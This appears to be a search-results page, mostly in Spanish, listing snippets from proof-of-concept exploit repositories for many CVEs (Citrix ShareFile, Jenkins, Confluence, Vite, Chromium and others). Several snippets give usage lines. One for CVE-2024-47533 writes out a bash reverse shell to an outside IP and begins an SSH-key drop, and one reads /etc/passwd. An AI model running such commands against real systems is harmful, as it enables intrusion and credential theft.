3529 matches found
cve-2025-4664
CVE-2025-4664 Este repositorio contiene un PoC para explotar CVE-2025-4664, una vulnerabilidad donde los navegadores basados en Chromium filtran parámetros de URL sensibles a través de solicitudes de precarga del encabezado Link. Recursos Para una explicación detallada de cómo funciona este...
CVE-2021-22941
Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Referencia https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
CVE-2022-22947
CVE-2022-22947 Uso: python3 CVE-2022-22947.py url...
Jenkins-CVE-2024-23897-
Usa el comando:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwdescribe la URL Uniform Resource Locator en 2.txt para procesar en lote...
CVE-2024-36527
CVE-2024-36527 PoC y Escáner Masivo Descripción General PoC para CVE-2024-36527: puppeteer-renderer v.3.2.0 y anteriores es vulnerable a Directory Traversal. Los atacantes pueden explotar el parámetro URL usando el protocolo de archivo para leer información sensible del servidor. Basado en el avi...
CVE-2024-50961
Exposición de Datos Sensibles CVE-2024-50961 Descripción En DonWeb Ferozo Hosting v1.1, un atacante remoto puede explotar parámetros de URL para acceder a datos sensibles, incluidas credenciales de base de datos. Los vectores de ataque incluyen la captura de tráfico de red, registros del servidor...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR Esto es solo para fines legales de pruebas de penetración. No participe en actividades ilegales. Cómo usar python3 exploit.py Vídeo de demostración...
CVE-2022-26134
CVE-2022-26134 Uso: exploit.py url comando...
SSRF-Exploit-CVE-2024-27564
SSRF-Exploit-CVE-2024-27564 Título del Proyecto Este proyecto demuestra una vulnerabilidad de Server-Side Request Forgery SSRF en el archivo pictureproxy.php. Descripción Una vulnerabilidad en pictureproxy.php permite a atacantes remotos realizar solicitudes arbitrarias inyectando URLs en el...
exploit-CVE-2016-8016-25
McAfee Virus Scan para Linux: múltiples fallos remotos ESTE EXPLOIT Y TODO EL CÓDIGO EN ESTE REPOSITORIO FUERON ELIMINADOS PARA EVITAR CUALQUIER PROBLEMA RELACIONADO CON LA VIOLACIÓN DE CUALQUIER LICENCIA DE MCAFEE McAfee VirusScan Enterprise para Linux es una solución antivirus empresarial de...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Resumen de vulnerabilidades CVE-2025-30208, CVE-2025-31125 y CVE-2025-31486 son vulnerabilidades de lectura arbitraria de archivos en el servidor de desarrollo de Vite. Estas vulnerabilidades permiten a un atacante eludir los controles de acceso...
CVE-2022-22947
Sobre la base del código de Wang Zheng, se han añadido dos tipos de reverse shell y detección de salida de red. Si falta algún módulo al ejecutar, basta con usar pip para descargarlo. Introduce la URL sospechosa; ten en cuenta que después del puerto no debe ir '/' 1. Comprobar primero si existe l...
CVE-2021-3131
CVE-2021-3131 Suggested description The Web server in 1C:Enterprise 8 before 8.3.17.1851 sends base64 encoded credentials in the 'creds' URL parameter. VulnerabilityType Other CWE-522 Insufficiently Protected Credentials Vendor of Product 1C Company Affected Product Code Base 1C:Enterprise 8 -...
CVE-2024-47533
Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...
CVE-2019-1006
CVE-2019-1006 Uso: Introduce "python CVE-2019-1006.py "url"" en la terminal, donde url es la URL del servidor RDG Gateway que se va a probar. Por ejemplo: python CVE-2019-1006.py "https://www.aaa.com/"...
hoh4
Requisitos: python Comando: python laravel-ignition-rce.py ""...
CVE-2023-50596
CVE-2023-50596 Descripción sugerida Vulnerabilidad de Cross Site Scripting en Simple Image Stack Website usando PHP y API v.1.00000 permite a un atacante remoto ejecutar código arbitrario mediante un payload manipulado en la URL. Información adicional Pegue nuestro payload en la sección de URL...
WordPress StageShow <5.0.9 - Open Redirect
WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshowredirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter. id: CVE-2015-5461 info: name:...